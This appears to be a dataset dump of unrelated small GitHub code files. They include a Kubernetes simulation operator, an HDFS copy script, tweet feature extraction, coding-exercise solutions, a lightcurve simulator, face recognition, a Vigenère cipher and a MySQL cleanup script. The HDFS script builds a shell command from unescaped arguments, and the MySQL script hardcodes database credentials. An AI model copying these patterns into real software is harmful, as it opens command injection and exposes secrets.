labels = {\n 'app': 'gossip',\n 'simulation': name,\n 'simulation_id': simulation_id,\n 'graph': graph_name,\n 'node': str(node)\n }\n selector = {\n 'app': 'gossip',\n 'simulation': name,\n 'simulation_id': simulation_id,\n 'graph': graph_name,\n 'node': str(node)\n }\n ports = [\n client.V1ServicePort(\n name='tcp',\n port=TCP_SERVICE_PORT,\n target_port='tcp'\n ),\n client.V1ServicePort(\n name='grpc',\n port=GRPC_SERVICE_PORT,\n target_port='grpc'\n )\n ]\n\n # define the service\n service = client.V1Service(\n metadata=client.V1ObjectMeta(\n name=service_name,\n labels=labels\n ),\n spec=client.V1ServiceSpec(\n selector=selector,\n ports=ports,\n cluster_ip=None\n )\n )\n\n try:\n # create the service in the current namespace\n api.create_namespaced_service(namespace=namespace, body=service)\n log.info(f'Service {service_name} created.')\n except ApiException as e:\n log.error(f'Error creating service: {e}')\n\n log.info(f'Finished creating Services for simulation {name} on graph {graph_name}.')\n\n # get simulation settings from the spec\n visualize = spec.get('visualize', False)\n simulationProperties = spec.get('simulationProperties', {})\n # get graph settings from the graph spec\n graphType = graph_spec.get('graphType', 'undefined')\n graphProperties = graph_spec.get('graphProperties', {})\n\n def create_runner_pod():\n \"\"\"\n Create a runner pod for the simulation.\n\n Returns:\n None\n \"\"\"\n # create the runner pod\n pod_name = f'{name}-g{graph_index}-runner'\n\n labels = {\n 'app': 'gossip',\n 'simulation': name,\n 'simulation_id': simulation_id,\n 'graph': graph_name,\n 'node': 'runner'\n }\n\n # string representation of all created pods\n nodes_str = ','.join(pods)\n\n env = []\n # set all necessary environment variables\n env.append(client.V1EnvVar(name=ENVIRONMENT_SIMULATION, value=name))\n env.append(client.V1EnvVar(name=ENVIRONMENT_SIMULATION_ID, value=simulation_id))\n env.append(client.V1EnvVar(name=ENVIRONMENT_SERIES_SIMULATION, value=str(series_simulation)))\n env.append(client.V1EnvVar(name=ENVIRONMENT_GRAPH_NAME, value=graph_name))\n env.append(client.V1EnvVar(name=ENVIRONMENT_ALGORITHM, value=algorithm))\n env.append(client.V1EnvVar(name=ENVIRONMENT_REPETITIONS, value=str(repetitions)))\n env.append(client.V1EnvVar(name=ENVIRONMENT_ADJ_LIST, value=str_adj_list))\n env.append(client.V1EnvVar(name=ENVIRONMENT_NODES, value=nodes_str))\n\n # node communities specific environment variable\n # set for graph highlighting in plots\n if algorithm in NODE_COMMUNITIES_SET:\n node_community_string = json.dumps(node_community_dict)\n env.append(client.V1EnvVar(name=ENVIRONMENT_NODE_COMMUNITIES, value=node_community_string))\n\n if algorithm in WEIGHTED_FACTOR_SET:\n env.append(client.V1EnvVar(name=ENVIRONMENT_FACTOR,\n value=','.join(str(factor) for factor in factors)))\n\n if algorithm in ADVANCED_CLUSTERING_SET:\n env.append(client.V1EnvVar(name=ENVIRONMENT_WEIGHTING_PARAM_A,\n value=','.join(str(param) for param in weighting_params_a)))\n if algorithm in MEMORY_SET:\n env.append(client.V1EnvVar(name=ENVIRONMENT_PRIOR_PARTNER_FACTOR,\n value=','.join(str(factor) for factor in prior_partner_factors)))\n\n env.append(client.V1EnvVar(name=ENVIRONMENT_VISUALIZE, value=str(visualize)))\n\n # simulation properties for logging\n simulation_properties = simulationProperties.copy()\n simulation_properties_string = json.dumps(simulation_properties)\n env.append(client.V1EnvVar(name=ENVIRONMENT_SIMULATION_PROPERTIES, value=simulation_properties_string))\n # graph properties for logging\n graph_properties = graphProperties.copy()\n graph_properties['graphType'] = graphType\n graph_properties_string = json.dumps(graph_properties)\n env.append(client.V1EnvVar(name=ENVIRONMENT_GRAPH_PROPERTIES, value=graph_properties_string))\n\n # Create the container for the Pod\n container = client.V1Container(\n name=DOCKER_RUNNER_NAME,\n image=DOCKER_RUNNER_IMAGE,\n env=env,\n env_from=[\n client.V1EnvFromSource(\n config_map_ref=client.V1ConfigMapEnvSource(name=MINIO_CONFIGMAP_NAME)\n ),\n client.V1EnvFromSource(\n secret_ref=client.V1SecretEnvSource(name=MINIO_SECRETS_NAME)\n )\n ],\n ports=[\n client.V1ContainerPort(container_port=GRPC_SERVICE_PORT, name='grpc')\n ]\n )\n\n # define the runner pod\n pod = client.V1Pod(\n metadata=client.V1ObjectMeta(\n name=pod_name,\n namespace=namespace,\n labels=labels\n ),\n spec=client.V1PodSpec(\n restart_policy='OnFailure',\n containers=[container],\n image_pull_secrets=[client.V1LocalObjectReference(name=REGISTRY_SECRET_NAME)]\n )\n )\n try:\n # create the runner pod\n api.create_namespaced_pod(namespace=namespace, body=pod)\n log.info(f'Pod {pod_name} created.')\n except ApiException as e:\n log.error(f'Error creating pod: {e}')\n\n log.info(f'Finished creating simulation runner pod for simulation {name}.')\n\n def create_runner_service():\n \"\"\"\n Create a runner service for the simulation.\n\n Returns:\n None\n \"\"\"\n # create the runner service\n service_name = f'{name}-runner'\n\n labels = {\n 'app': 'gossip',\n 'simulation': name,\n 'simulation_id': simulation_id,\n 'graph': graph_name,\n 'node': 'runner'\n }\n selector = {\n 'app': 'gossip',\n 'simulation': name,\n 'simulation_id': simulation_id,\n 'graph': graph_name,\n 'node': 'runner'\n }\n ports = [\n client.V1ServicePort(\n name='grpc',\n port=GRPC_SERVICE_PORT,\n target_port='grpc'\n )\n ]\n\n # define the runner service\n service = client.V1Service(\n metadata=client.V1ObjectMeta(\n name=service_name,\n labels=labels\n ),\n spec=client.V1ServiceSpec(\n selector=selector,\n ports=ports,\n cluster_ip=None\n )\n )\n\n try:\n # create the runner service\n api.create_namespaced_service(namespace=namespace, body=service)\n log.info(f'Service {service_name} created')\n except ApiException as e:\n log.error(f'Error creating service: {e}')\n\n log.info(f'Finished creating simulation runner service for simulation {name}.')\n\n # create services\n create_node_services()\n create_runner_service()\n # create node pods\n create_node_pods()\n\n # Set the labels used for selecting created node pods\n labels = {\n 'app': 'gossip',\n 'simulation': name,\n 'simulation_id': simulation_id,\n 'graph': graph_name\n }\n\n # wait until all node pods started before the runner pod is started\n # this is done to prevent runner pod restarts\n # restarts can happen because the nodes need to be running for communication purposes\n log.info(f'Waiting for node pods to start...')\n while True:\n # List all pods matching the specified labels\n node_pods = api.list_namespaced_pod(namespace=namespace,\n label_selector=','.join([f\"{k}={v}\" for k, v in labels.items()]))\n\n # Check if all pods are in the \"Running\" state\n if all(pod.status.phase == 'Running' for pod in node_pods.items):\n log.info('All node pods are now running.')\n # All pods are running, exit the loop\n break\n\n # Wait for 1 second before checking again\n time.sleep(1)\n\n # All pods are running, create the runner pod\n create_runner_pod()\n\n log.info(f'Finished creating resources for simulation {name}.')\n\n # if multiple graphs are to be simulated delete all resources after completion\n if not is_last_graph_spec:\n log.info('Waiting for Simulation to complete...')\n\n iteration_count = 0\n while True:\n try:\n pods = api.list_namespaced_pod(namespace=namespace, label_selector=f\"simulation={name}\")\n completed_count = sum(1 for pod in pods.items if pod.status.phase == 'Succeeded')\n total_count = len(pods.items)\n if completed_count == total_count:\n log.info(f'Simulation completed for graph {graph_name}.')\n break\n elif math.isclose(completed_count / total_count, 0.99, rel_tol=1e-3) and iteration_count >= 10:\n log.info(f'99% of the pods have completed for graph {graph_name}.')\n log.info(f'One Pod possibly stuck during container stoppage. Proceeding nonetheless...')\n break\n else:\n # Wait for 2 seconds before checking again\n time.sleep(2)\n iteration_count += 1\n except ApiException as e:\n if e.status == 404:\n # Pods not found, simulation may not have started yet\n time.sleep(5)\n else:\n raise e\n\n log.info('Cleaning up simulation before starting the next.')\n log.info('Deleting pods...')\n # Delete all pods with the simulation name label\n for pod in pods.items:\n api.delete_namespaced_pod(pod.metadata.name, namespace)\n\n log.info('Deleting services...')\n # Delete all services with the simulation name label\n services = api.list_namespaced_service(namespace, label_selector=f\"simulation={name}\")\n for service in services.items:\n api.delete_namespaced_service(service.metadata.name, namespace)\n\n\n\n@kopf.on.delete('gossip.io', 'v1', 'simulations')\ndef delete_services_and_pods(body, **kwargs):\n \"\"\"\n Delete services and pods associated with a simulation.\n\n Args:\n body (dict): The request body containing the information about the simulation to delete.\n **kwargs: Additional keyword arguments.\n\n Returns:\n None\n \"\"\"\n simulation_name = body['metadata']['name']\n namespace = body['metadata']['namespace']\n\n log.info('Deleting services...')\n # Delete all services with the simulation name label\n services = api.list_namespaced_service(namespace, label_selector=f\"simulation={simulation_name}\")\n for service in services.items:\n api.delete_namespaced_service(service.metadata.name, namespace)\n\n log.info('Deleting pods...')\n # Delete all pods with the simulation name label\n pods = api.list_namespaced_pod(namespace, label_selector=f\"simulation={simulation_name}\")\n for pod in pods.items:\n api.delete_namespaced_pod(pod.metadata.name, namespace)\n\n log.info(f'Deleted all resources for simulation {simulation_name}.')\n","repo_name":"xwoodpecker/GossipingSimulation","sub_path":"operator/simulation-operator.py","file_name":"simulation-operator.py","file_ext":"py","file_size_in_byte":34745,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"20339376771","text":"import time\nimport sys\nimport os\n\ntry:\n\tlocal_file = sys.argv[1]\n\thdfs_path = sys.argv[2]\nexcept Exception:\n\texit(\"No args. Please give and \")\n\nif not os.path.isfile(local_file):\n\tprint(\"source file not exits\")\n\texit()\n\nfile_size = os.path.getsize(local_file)/1000000\nstart_time = time.time()\nhdfs_response = os.system(\"hdfs dfs -put %s %s\" % (local_file,hdfs_path))\nend_time = time.time()\nload_time = end_time - start_time\n\nif hdfs_response == 0:\n\tprint(\"File successfully copy to hdfs (%.2f MB in %.2f seconds)\" % (file_size,load_time))\nelif hdfs_response == 256:\n\tprint(\"File already exists. Not copied\")\nelse:\n\tprint(\"ERROR. please check your syntax\")\n","repo_name":"rafariva/Cloudera-Hadoop-Wordcount","sub_path":"hdfs_copy.py","file_name":"hdfs_copy.py","file_ext":"py","file_size_in_byte":693,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"10568963116","text":"import re\n\nimport numpy as np\n\nfrom src.features.Debugger import Debugger\nfrom src.features.Feature import Feature\nfrom src.utils.config import EMOTICONS_PATH, INITIALISM_PATH, ONOMATOPOEIC_PATH\n\ntargetPunctuation = [',', '!', '?']\n\n\ndef read_file(path):\n\twith open(path) as file:\n\t\treturn [line.strip().split('\\t') for line in file.readlines()]\n\n\nclass PragmaticParticlesFeature(Feature, Debugger):\n\n\tdef __init__(self, tweets):\n\t\tsuper().__init__()\n\t\t# Tweets\n\t\tself.tweets = tweets\n\t\t# Features\n\t\tself.emoticon_feature_list = []\n\t\tself.initialism_feature_list = []\n\t\tself.onomatopoeic_feature_list = []\n\t\tself.punctuation_feature_list = []\n\t\tself.features_list = []\n\t\t# Dataset\n\t\tself.emoticons_dict = {}\n\t\tself.initialism_dict = {}\n\t\tself.onomatopoeic_list = []\n\n\tdef evaluate_pragmatic_particles(self, debug=False):\n\t\t# Read dataset\n\t\tself.read_dataset()\n\t\t# Evaluate emoticons\n\t\tself.evaluate_emoticons()\n\t\t# Evaluate initialism\n\t\tself.evaluate_initialism()\n\t\t# Count onomatopoeic\n\t\tself.evaluate_onomatopoeic()\n\t\t# Count punctuation\n\t\tself.evaluate_punctuation()\n\t\t# Build matrix\n\t\tself.build_matrix(len(self.tweets), sum([len(l[0]) for l in self.features_list]))\n\t\t# Fill matrix\n\t\tself.fill_matrix()\n\t\t# Debug info\n\t\tself.print_debug_info(debug)\n\t\t# Return matrix\n\t\treturn self.matrix\n\n\tdef read_dataset(self):\n\t\tself.emoticons_dict = {line[0].lower(): line[-1] for line in read_file(EMOTICONS_PATH)}\n\t\tself.initialism_dict = {line[0].lower(): line[-1] for line in read_file(INITIALISM_PATH)}\n\t\tself.onomatopoeic_list = [word[0].lower() for word in read_file(ONOMATOPOEIC_PATH)]\n\n\tdef evaluate_emoticons(self):\n\t\tregexp = '(({}))'\n\t\t# Evaluate features\n\t\tself.emoticon_feature_list = self.evaluateFeature(self.emoticons_dict, regexp)\n\t\tself.features_list.append(self.emoticon_feature_list)\n\n\tdef evaluate_initialism(self):\n\t\tregexp = '(?=[^\\w](({})+)([^\\w]|$))'\n\t\t# Evaluate features\n\t\tself.initialism_feature_list = self.evaluateFeature(self.initialism_dict, regexp)\n\t\tself.features_list.append(self.initialism_feature_list)\n\n\tdef evaluate_onomatopoeic(self):\n\t\tregexp = '(?=[^\\w](({})+)([^\\w]|$))'\n\t\t# Create auxiliary dict\n\t\taux_dict = {key: \"0\" for key in self.onomatopoeic_list}\n\t\t# Evaluate features\n\t\tself.onomatopoeic_feature_list = [[x[0]] for x in self.evaluateFeature(aux_dict, regexp)]\n\t\tself.features_list.append(self.onomatopoeic_feature_list)\n\n\tdef evaluateFeature(self, dictionary, regex):\n\t\tfeature_list = []\n\t\tfor tweet in self.tweets:\n\t\t\tfeature = []\n\t\t\tfor key, value in dictionary.items():\n\t\t\t\tmatches = re.findall(regex.format(re.escape(key)), tweet.lower())\n\t\t\t\t# Evaluate weight of each match\n\t\t\t\tfor match, *_ in matches:\n\t\t\t\t\tfeature += [value] * len(re.findall(re.escape(key), match))\n\t\t\tfeature_list.append([feature.count(\"0\"), feature.count(\"1\")])\n\t\treturn feature_list\n\n\tdef evaluate_punctuation(self):\n\t\tfor tweet in self.tweets:\n\t\t\tself.punctuation_feature_list.append({p: tweet.count(p) for p in targetPunctuation})\n\t\tself.features_list.append([list(d.values()) for d in self.punctuation_feature_list])\n\n\tdef fill_matrix(self):\n\t\t# Create matrix\n\t\tmatrix = np.array(self.features_list, dtype=object).transpose()\n\t\t# Flatten matrix\n\t\tself.matrix = np.array([np.concatenate(row) for row in matrix])\n\n\tdef __str__(self, **kwargs):\n\t\ttitle = \"pragmatic particles\"\n\t\theader = \"Tweet\"\n\t\ttemplate = \"Original\\t>>> \\\"{}\\\"\\n\" \\\n\t\t\t\t \"Emot (-, +)\\t>>> {}\\n\" \\\n\t\t\t\t \"Init (-, +)\\t>>> {}\\n\" \\\n\t\t\t\t \"Onom (#)\\t>>> {}\\n\" \\\n\t\t\t\t \"Punct\\t\\t>>> {}\"\n\t\treturn super().__str__(self, self.tweets,\n\t\t\t\t\t\t\t self.emoticon_feature_list, self.initialism_feature_list,\n\t\t\t\t\t\t\t self.onomatopoeic_feature_list, self.punctuation_feature_list,\n\t\t\t\t\t\t\t title=title, header=header, template=template)\n","repo_name":"gianlucagiudice/irony-detection","sub_path":"src/features/PragmaticParticlesFeature.py","file_name":"PragmaticParticlesFeature.py","file_ext":"py","file_size_in_byte":3723,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"26180582717","text":"class Solution(object):\n def moveZeroesExternalArray(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: None Do not return anything, modify nums in-place instead.\n \"\"\"\n zeros_counter = 0\n temp_nums = []\n for num in nums:\n if num != 0:\n temp_nums.append(num)\n else:\n zeros_counter += 1\n \n nums[:] = temp_nums + zeros_counter*[0]\n \n def moveZeroesTwoPointers(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: None Do not return anything, modify nums in-place instead.\n \"\"\"\n pointer1 = 0\n pointer2 = 1\n\n while pointer1 < len(nums) and pointer2 < len(nums):\n if nums[pointer1] != 0:\n pointer1 += 1\n pointer2 += 1\n elif nums[pointer1] == 0 and nums[pointer2] != 0:\n nums[pointer1], nums[pointer2] = nums[pointer2], nums[pointer1]\n pointer1 += 1\n pointer2 += 1\n elif nums[pointer1] == 0 and nums[pointer2] == 0:\n pointer2 += 1\n \n print(nums)\n\n\nsol = Solution()\nnums = [1,2,3,0]\nsol.moveZeroesTwoPointers(nums)","repo_name":"MahmoudAbdullah99/Problem-Solving","sub_path":"LeetCode/Day-005/leetcode-283.Move-Zeroes.py","file_name":"leetcode-283.Move-Zeroes.py","file_ext":"py","file_size_in_byte":1212,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"20613304851","text":"from queue import Queue\r\n\r\nN = int(input())\r\n\r\nli = Queue()\r\n\r\nfor i in range(N):\r\n\tli.put(i+1)\r\n\r\nwhile li.qsize()>1:\r\n\tli.get()\r\n\tli.put(li.get())\r\n\r\n\r\nprint(li.get())","repo_name":"seoyounghan/Baekjoon","sub_path":"백준/Silver/2164. 카드2/카드2.py","file_name":"카드2.py","file_ext":"py","file_size_in_byte":170,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"36519662284","text":"import numpy as np\nimport sys\n\ndef flux_to_cps(time, flux, conversion_factor, time_unit='s', distance=8178, distance_err=35):\n \"\"\"\n Convert from flux units to cps (count per second). It is assumed that the flux is coming from the SMBH Sgr A* at the center of the Milky Way, as per http://dx.doi.org/10.1051/0004-6361/201935656. \n This can be changed by specifying the distance variable.\n\n Parameters\n ----------\n time: array_like,\n time values, does not have to possess any structure;\n\n flux: [erg/cm^2/sec] array_like,\n array of flux values associated to time array;\n\n conversion_factor: [count/10**34 erg] float_like,\n factor corresponding to each photon's average energy;\n \n (time_unit = 's'): string,\n units of time array, default is seconds. The possible entries are\n 's' = seconds; 'min' = minutes; 'h' = hours; 'd' = days; 'yrs' = years; \n\n (distance = 8178): [pc] float_like,\n distance to the flux emitting object;\n\n (distance_err = 35): [pc] float_like,\n error on the distance;\n\n Returns\n -------\n time_sec: [s] ndarray,\n time array converted to seconds (if not already the case);\n\n cps: [count/s] ndarray,\n count rate values associated with time array;\n\n cps_err: [count/s] ndarray,\n count rate error coming from uncertainty in the distance;\n \n\n \"\"\"\n # changing units, from erg/cm^2/s to cps\n distance_cm = distance * 3.086*10**18 #distance in cm\n cps = flux*4*np.pi*distance_cm**2*conversion_factor*10**(-34) #counts/s\n # changing time units to seconds if necessary\n if time_unit != 's':\n if time_unit == 'min':\n time_sec = time * 60\n elif time_unit == 'h': \n time_sec = time * 3600\n elif time_unit == 'd':\n time_sec = time * 24 * 3600\n elif time_unit == 'yrs':\n time_sec = time * 365 * 24 * 3600\n else:\n sys.exit(\"Time unit not valid, please enter a valid unit as a string (e.g. 's').\")\n else:\n time_sec = time\n # uncertainties\n dsq_err = (distance_err*(13/distance_cm)*distance_cm**2)\n cps_err = flux*4*np.pi*dsq_err*conversion_factor*10**(-34)\n\n return time_sec, cps, cps_err\n\n\n#____________________________________________________________________________________________________\n\ndef create_events(time, cps, cps_err=0):\n \"\"\"\n Simulate photon arrival times as events from a lightcurve using Poisson statistics for each interval. \n All operations are vectorized, replacing loop of np.linspace() using builtin_function map().\n\n Parameters\n ----------\n time: [s] array_like,\n time values, does not have to possess any internal structure or regularities;\n \n cps: [count/s] array_like,\n count rate values associated to the time values;\n \n (cps_err=0): array_like,\n error on count rate values;\n\n Returns\n -------\n events: [s] ndarray,\n photon arrival times;\n \"\"\"\n \n # Initiate random sampling of cps values (range determined by error on each value)\n cps_low = cps - cps_err # lower bounds\n cps_low[cps_low < 0] = 0 # negative cps -> 0 ct/s\n cps_high = cps + cps_err # upper bounds\n # Sample required values\n cps_rand = np.random.uniform(cps_low, cps_high)\n # Reshaping time arrays into blocks with midpoint = data points (except for first and last)\n dt = (time[1:] - time[:-1]) / 2\n tstart = np.concatenate([[time[0]], dt + time[:-1]])\n tstop = np.concatenate([dt + time[:-1], [time[-1]]])\n intervals = np.column_stack((tstart, tstop))\n Ncounts = np.random.poisson(cps_rand * (tstop - tstart)) \n print(\"Total number of events generated:\", sum(Ncounts))\n # Consider only nonempty intervals\n Ncounts_nonzero = Ncounts[Ncounts != 0] \n intervals_nonempty = intervals[Ncounts != 0]\n steps = (intervals_nonempty[:,1] - intervals_nonempty[:,0]) / Ncounts_nonzero\n divs = Ncounts_nonzero.astype(int) \n # Photons are stacked at \"start\" value of nonempty intervals\n events_stack = np.repeat(intervals_nonempty[:,0], divs)\n # Find offset for each photon\n repeat_1d = np.repeat(steps, divs)\n split = np.split(repeat_1d, np.cumsum(divs)[:-1])\n offset = np.hstack(map(np.cumsum, split)) - repeat_1d/2 # last term for centering\n\n events = events_stack + offset\n return events\n\n#____________________________________________________________________________________________________\n\n","repo_name":"ClementFortin/lightcurve","sub_path":"lightcurve.py","file_name":"lightcurve.py","file_ext":"py","file_size_in_byte":4480,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"2751562186","text":"\nimport numpy as np\nimport cv2 as cv\nimport math \n\nhaar_cascade = cv.CascadeClassifier('haar_face.xml')\n\ncharacters = ['Gus Fring', 'Hank Schrader', 'Jesse Pinkman', 'Saul Goodman', 'Skyler White' , 'Walter White' , 'Walter White Jr' ]\n\nfeatures = np.load('features.npy', allow_pickle=True)\n# labels = np.load('labels.npy')\n\nface_recognizer = cv.face.LBPHFaceRecognizer_create()\nface_recognizer.read('face_trained.yml')\n\n\nprint('Enter the image path: \\nNote: the image should be for one of those people: \\nGus Fring\\nHank Schrader\\nJesse Pinkman\\nSaul Goodman\\nSkyler White\\nWalter White\\nWalter White Jr\\nPath: ')\ntest_img_path = str(input())\nimg = cv.imread(test_img_path)\n\ngray = cv.cvtColor(img, cv.COLOR_BGR2GRAY)\n\n#cv.imshow('Person', gray)\n\n# Detecting the face in the image by using our classifier\nfaces_rect = haar_cascade.detectMultiScale(gray, 1.1, 4)\n\nfor (x,y,w,h) in faces_rect:\n faces_roi = gray[y:y+h,x:x+w]\n\n label, confidence = face_recognizer.predict(faces_roi)\n print(f'Label = {len(features)} with a confidence of {confidence}')\n\n cv.putText(img,str(characters[label] + ' ' + str(math.floor(confidence)) + '%'), (x-5,y-5), cv.FONT_HERSHEY_COMPLEX, 1.0, (0,255,0), thickness=1)\n cv.rectangle(img, (x,y), (x+w,y+h), (0,255,0), thickness=2)\n\ncv.imshow('Detected Face', img)\n\ncv.waitKey(0)","repo_name":"Aldokimi/Simple-Machine-Learning-Modle","sub_path":"face_recognition.py","file_name":"face_recognition.py","file_ext":"py","file_size_in_byte":1322,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"21707077585","text":"def encrypt_vigenere(plaintext,keyword):\r\n Chipertext=''\r\n if len(keyword)!= len(plaintext):\r\n for j in range(len(plaintext)-len(keyword)):\r\n keyword+=keyword[j]\r\n print(keyword)\r\n upper_char1=[chr(i) for i in range(65,91)]\r\n for i in range(len(plaintext)):\r\n ascii_value=upper_char1.index(plaintext[i])+upper_char1.index(keyword[i])\r\n if ascii_value>25:\r\n Chipertext+=upper_char1[ascii_value-26]\r\n else:\r\n Chipertext+= upper_char1[ascii_value]\r\n return Chipertext\r\n\r\ndef decrypt_vigenere(ciphertext,keyword):\r\n Plaintext=\"\"\r\n if len(keyword)!= len(ciphertext):\r\n for k in range(len(ciphertext)-len(keyword)):\r\n keyword+=keyword[k]\r\n upper_chard=[chr(i) for i in range(65,91)]\r\n for i in range(len(ciphertext)):\r\n ascii_value1=(upper_chard.index(ciphertext[i])+26)-upper_chard.index(keyword[i])\r\n if ascii_value1<25:\r\n Plaintext+= upper_chard[ascii_value1]\r\n \r\n else:\r\n Plaintext+= upper_chard[ascii_value1-26]\r\n return Plaintext\r\n\r\n\r\nwhile True:\r\n try:\r\n plaintext_vig=input(\"Enter the String for decryption :\").upper()\r\n keyword_vig=input(\"Enter the Secret keyword: \").upper()\r\n plaintext_nospace=\"\"\r\n for word in plaintext_vig.split(\" \"):\r\n plaintext_nospace+=word\r\n if len(keyword_vig)<=len(plaintext_nospace):\r\n if plaintext_nospace.isalpha() and keyword_vig.isalpha() :\r\n encrypted=encrypt_vigenere(plaintext_nospace,keyword_vig) \r\n print(f\"encrypted form of given: {encrypted}\\n\")\r\n Chipertext_vig=input(\"Enter the string for 'Encryption' :\").upper()\r\n keyword_vig1=input(\"Enter secret keyword for 'encrypt' : \").upper()\r\n if Chipertext_vig.isalpha() and keyword_vig1.isalpha():\r\n decrypted=decrypt_vigenere(Chipertext_vig,keyword_vig1)\r\n print(f\"decrypted form is : {decrypted}\")\r\n break\r\n else:\r\n raise \"Error\"\r\n else: \r\n raise \"ValueError\"\r\n else:\r\n raise \"keyError\" \r\n except:\r\n if \"ValueError\":\r\n print(\"!!Enter only aphabets and no space between string !!\")\r\n else:\r\n print(\"!!Keyword should be smaller than plaintext!!\")","repo_name":"shubhamfursule/Cryptography","sub_path":"Vignere cipher.py","file_name":"Vignere cipher.py","file_ext":"py","file_size_in_byte":2441,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"4197711567","text":"import mysql.connector\nfrom mysql.connector import (connection)\nfrom mysql.connector import errorcode\n\ncnx = mysql.connector.connect(user=\"dalek\", password=\"3637\",\n host=\"127.0.0.1\",\n database='Scouting')\n\ncursor = cnx.cursor()\n\n# I know there is a better way but I don't care. probably concatonating it\n# or something...\n\n#sql queries\n#auton\nautonColor = \"UPDATE Auton SET Color = 'X' WHERE Color IS NULL;\"\nautonHighCube = \"UPDATE Auton SET High_Cube = 0 WHERE High_Cube IS NULL;\"\nautonHighCone = \"UPDATE Auton SET High_Cone = 0 WHERE High_Cone IS NULL;\"\nautonMidCube = \"UPDATE Auton SET Mid_Cube = 0 WHERE Mid_Cube IS NULL;\"\nautonMidCone = \"UPDATE Auton SET Mid_Cone = 0 WHERE Mid_Cone IS NULL;\"\nautonLowCube = \"UPDATE Auton SET Low_Cube = 0 WHERE Low_Cube IS NULL;\"\nautonLowCone = \"UPDATE Auton SET Low_Cone = 0 WHERE Low_Cone IS NULL;\"\nautonOffPlatform = \"UPDATE Auton SET Left_Platform = 'N' WHERE Left_Platform IS NULL;\"\nautonOutOfCommunity = \"UPDATE Auton SET Out_of_Community = 'N' WHERE Out_of_Community IS NULL;\"\n\n#teleop\nteleopColor = \"UPDATE Teleop SET Color = 'X' WHERE Color IS NULL;\"\nteleopMoved = \"UPDATE Teleop SET Moved = 'X' WHERE Moved IS NULL;\"\nteleopHighCube = \"UPDATE Teleop SET High_Cube = 0 WHERE High_Cube IS NULL;\"\nteleopHighCone = \"UPDATE Teleop SET High_Cone = 0 WHERE High_Cone IS NULL;\"\nteleopMidCube = \"UPDATE Teleop SET Mid_Cube = 0 WHERE Mid_Cube IS NULL;\"\nteleopMidCone = \"UPDATE Teleop SET Mid_Cone = 0 WHERE Mid_Cone IS NULL;\"\nteleopLowCube = \"UPDATE Teleop SET Low_Cube = 0 WHERE Low_Cube IS NULL;\"\nteleopLowCone = \"UPDATE Teleop SET Low_Cone = 0 WHERE Low_Cone IS NULL;\"\n\n#endgame\nendgameColor = \"UPDATE Endgame SET Color = 'X' WHERE Color IS NULL;\"\nendgameClimb = \"UPDATE Endgame SET Charge_Status = 'X' WHERE Charge_Status IS NULL;\"\nendgameWin = \"UPDATE Endgame SET Win = 'X' WHERE Win IS NULL;\"\n\n#defense\ndefenseColor = \"UPDATE Defense SET Color = 'X' WHERE Color IS NULL;\"\ndefenseAttemptedBlock = \"UPDATE Defense SET Blocked_Others = 'X' WHERE Blocked_Others IS NULL;\"\n\n#comments\ncommentsColor = \"UPDATE Comments SET Color = 'X' WHERE Color IS NULL;\"\ncommentsComments = \"UPDATE Comments SET Insert_Comments = 'X' WHERE Insert_Comments IS NULL;\"\n\ncursor.execute(autonColor)\nprint(\"Finished High in Auton!\")\n\ncursor.execute(autonHighCube)\ncursor.execute(autonHighCone)\nprint(\"Finished High in Auton!\")\n\ncursor.execute(autonMidCube)\ncursor.execute(autonMidCone)\nprint(\"Finished Mid in Auton!\")\n\ncursor.execute(autonLowCube)\ncursor.execute(autonLowCone)\nprint(\"Finished Low in Auton!\")\n\ncursor.execute(autonOffPlatform)\nprint(\"Finished Left_Platform in Auton!\")\n\ncursor.execute(autonOutOfCommunity)\nprint(\"Finished Out Of Community in Auton!\")\n \ncursor.execute(teleopColor)\nprint(\"Finished Color in Teleop!\")\n\ncursor.execute(teleopMoved)\nprint(\"Finished Moved in Teleop!\")\n\ncursor.execute(teleopHighCone)\ncursor.execute(teleopHighCube)\nprint(\"Finished Moved in Teleop!\")\n\ncursor.execute(teleopMidCube)\ncursor.execute(teleopMidCone)\nprint(\"Finished Mid in Teleop!\")\n\ncursor.execute(teleopLowCube)\ncursor.execute(teleopLowCone)\nprint(\"Finished Low in Teleop!\")\n\n#endgame\ncursor.execute(endgameColor)\nprint(\"Finished Color in Endgame!\")\n\ncursor.execute(endgameClimb)\nprint(\"Finished Climb in Endgame!\")\n\ncursor.execute(endgameWin)\nprint(\"Finished Win in Endgame!\")\n\n#Defense\ncursor.execute(defenseColor)\nprint(\"Finished Color in Defense!\")\n\ncursor.execute(defenseAttemptedBlock)\nprint(\"Finished Attempted Block in Defense!\")\n\n#comments\ncursor.execute(commentsColor)\nprint(\"Finished Color in Comments!\")\n\ncursor.execute(commentsComments)\nprint(\"Finished Comments in Comments!\")\n\nprint(\"DONE! :D\")\n\ncnx.commit()\ncursor.close()\ncnx.close()","repo_name":"FRC-3637-Daleks/Scouting-App-Remastered-2023","sub_path":"db/scripts/replace-null-values.py","file_name":"replace-null-values.py","file_ext":"py","file_size_in_byte":3741,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"25580007869","text":"postalCodes={\r\n 'A':\"Newfoundland\",\"B\":\"Nova Scotia\",\"C\":\"Prince Edward Island\",\"E\":\"New Brunswick\",\"G\":\"Quebec\",\"H\":\"Quebec\",\"J\":\"Quebec\",\r\n \"K\":\"Ontario\",\"L\":\"Ontario\",\"M\":\"Ontario\",\"N\":\"Ontario\",\"P\":\"Ontario\",\"R\":\"Manitoba\",\"S\":\"Saskatchewan\",\"T\":\"Alberta\",\"V\":\"British Columbia\",\r\n \"X\":\"Nunavut or Northwest 